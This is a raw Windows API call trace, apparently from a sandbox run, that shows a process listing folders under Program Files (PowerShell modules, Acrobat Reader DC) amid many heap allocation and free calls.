	[0182.726] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\*", lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb531a14c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5dcb26, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76f1a8
	[0182.830] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb531a14c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5dcb26, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0182.830] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb537bc07, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a628ff7, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assertions", cAlternateFileName="ASSERT~1")) returned 1
	[0182.830] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38b0960
	[0182.830] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\Assertions\\*", lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb537bc07, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a628ff7, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76f3a8
	[0182.849] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb537bc07, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a628ff7, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0182.849] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1021, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Be.ps1", cAlternateFileName="")) returned 1
	[0182.849] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fe2e0e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fe2e0e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fe2e0e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Be.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.849] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f4a475, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f4a475, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f4a475, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x176, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeGreaterThan.ps1", cAlternateFileName="")) returned 1
	[0182.850] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f706d4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f706d4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f706d4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1ff, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeGreaterThan.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.850] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f9693c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f9693c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeLessThan.ps1", cAlternateFileName="")) returned 1
	[0182.853] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0182.854] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0182.854] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4151fa0
	[0182.871] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0182.871] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0182.871] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4094fb8 | out: hHeap=0x710000) returned 1
	[0182.873] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\*", lpFindFileData=0x372f308 | out: lpFindFileData=0x372f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53eacff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e868
	[0182.874] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\*", lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53ec4f8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76ee68
	[0182.879] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\*", lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xb53ed28c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76efe8
	[0182.879] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0182.880] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0182.880] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4094fb8 | out: hHeap=0x710000) returned 1
	[0182.881] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\*", lpFindFileData=0x372f308 | out: lpFindFileData=0x372f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e868
	[0182.881] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\*", lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb5477959, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfff2ff0e, ftLastWriteTime.dwHighDateTime=0x1d1a04a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76f168
	[0182.884] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\en\\*", lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff2ff0e, ftCreationTime.dwHighDateTime=0x1d1a04a, ftLastAccessTime.dwLowDateTime=0xb5478c6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfff2ff0e, ftLastWriteTime.dwHighDateTime=0x1d1a04a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76f1a8
	[0182.885] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0182.885] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0182.894] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0182.894] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0182.894] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4094fb8 | out: hHeap=0x710000) returned 1
	[0182.896] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0182.896] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0182.896] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3fe2738 | out: hHeap=0x710000) returned 1
	[0182.897] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC") returned 46
	[0182.898] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC") returned 1
	[0182.898] lstrlenW (lpString="Acrobat Reader DC") returned 17
	[0182.898] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Acrobat Reader DC") returned 1
	[0182.898] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4044f98
	[0182.898] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC") returned 46
	[0182.898] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\*", lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec183d6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76ea68
	[0182.900] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3fe2738 | out: hHeap=0x710000) returned 1
	[0183.200] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0183.200] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0183.383] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4121010 | out: hHeap=0x710000) returned 1
	[0183.383] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0183.386] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0183.389] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4121010 | out: hHeap=0x710000) returned 1
	[0183.391] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0183.395] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0183.395] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0183.395] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0183.396] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0183.396] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0183.397] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0183.397] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0183.401] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4121010 | out: hHeap=0x710000) returned 1
	[0183.402] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0183.403] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4131018 | out: hHeap=0x710000) returned 1
	[0183.403] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4121010 | out: hHeap=0x710000) returned 1
	[0183.403] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0183.404] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4121010 | out: hHeap=0x710000) returned 1
	[0183.404] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0183.405] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0183.405] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0183.411] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0183.411] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0183.417] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0183.418] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0183.911] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0183.911] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0183.911] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0183.911] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0183.911] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0183.911] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0183.911] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0183.912] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0183.912] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0183.912] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0183.912] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0183.912] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0183.912] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4024f88 | out: hHeap=0x710000) returned 1
	[0184.114] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4101058 | out: hHeap=0x710000) returned 1
	[0184.116] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4195d40 | out: hHeap=0x710000) returned 1
	[0184.116] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4101058 | out: hHeap=0x710000) returned 1
	[0184.116] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.118] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.120] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4195d40 | out: hHeap=0x710000) returned 1
	[0184.120] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.122] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4101058 | out: hHeap=0x710000) returned 1
	[0184.122] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4195d40 | out: hHeap=0x710000) returned 1
	[0184.122] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.123] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4101058 | out: hHeap=0x710000) returned 1
	[0184.123] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4195d40 | out: hHeap=0x710000) returned 1
	[0184.123] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.123] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4024f88 | out: hHeap=0x710000) returned 1
	[0184.126] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4ef0048 | out: hHeap=0x710000) returned 1
	[0184.317] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4ef0048 | out: hHeap=0x710000) returned 1
	[0184.318] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4ef0048 | out: hHeap=0x710000) returned 1
	[0184.319] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4ef0048 | out: hHeap=0x710000) returned 1
	[0184.320] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4ef0048 | out: hHeap=0x710000) returned 1
	[0184.331] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4ef0048 | out: hHeap=0x710000) returned 1
	[0184.457] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4ef0048 | out: hHeap=0x710000) returned 1
	[0184.576] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4ef0048 | out: hHeap=0x710000) returned 1
	[0184.576] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4ef0048 | out: hHeap=0x710000) returned 1
	[0184.576] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4ef0048 | out: hHeap=0x710000) returned 1
	[0184.576] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4ef0048 | out: hHeap=0x710000) returned 1
	[0184.576] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4ef0048 | out: hHeap=0x710000) returned 1
	[0184.576] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4ef0048 | out: hHeap=0x710000) returned 1
	[0184.576] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4ef0048 | out: hHeap=0x710000) returned 1
	[0184.576] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4ef0048 | out: hHeap=0x710000) returned 1
	[0184.577] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4ef0048 | out: hHeap=0x710000) returned 1
	[0184.577] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4ef0048 | out: hHeap=0x710000) returned 1
	[0184.577] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4ef0048 | out: hHeap=0x710000) returned 1
	[0184.577] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4ef0048 | out: hHeap=0x710000) returned 1
	[0184.577] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4ef0048 | out: hHeap=0x710000) returned 1
	[0184.577] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4ef0048 | out: hHeap=0x710000) returned 1
	[0184.577] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4ef0048 | out: hHeap=0x710000) returned 1
	[0184.577] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4ef0048 | out: hHeap=0x710000) returned 1
	[0184.577] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4ef0048 | out: hHeap=0x710000) returned 1
	[0184.577] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4ef0048 | out: hHeap=0x710000) returned 1
	[0184.577] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4ef0048 | out: hHeap=0x710000) returned 1
	[0184.578] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4ef0048 | out: hHeap=0x710000) returned 1
	[0184.578] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4ef0048 | out: hHeap=0x710000) returned 1
	[0184.578] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4ef0048 | out: hHeap=0x710000) returned 1
	[0184.578] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4ef0048 | out: hHeap=0x710000) returned 1
	[0184.578] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4ef0048 | out: hHeap=0x710000) returned 1
	[0184.578] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4ef0048 | out: hHeap=0x710000) returned 1
	[0184.578] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4ef0048 | out: hHeap=0x710000) returned 1
	[0184.578] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4ef0048 | out: hHeap=0x710000) returned 1
	[0184.578] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.578] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4024f88 | out: hHeap=0x710000) returned 1
	[0184.578] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4101058 | out: hHeap=0x710000) returned 1
	[0184.581] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4101058 | out: hHeap=0x710000) returned 1
	[0184.581] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4ef0048 | out: hHeap=0x710000) returned 1
	[0184.581] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.582] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.582] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.582] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.582] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.582] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.582] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.582] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.582] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.582] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.582] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.582] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.583] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.583] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.583] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.584] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.584] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.584] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.585] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.585] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.585] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.586] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.586] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.587] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
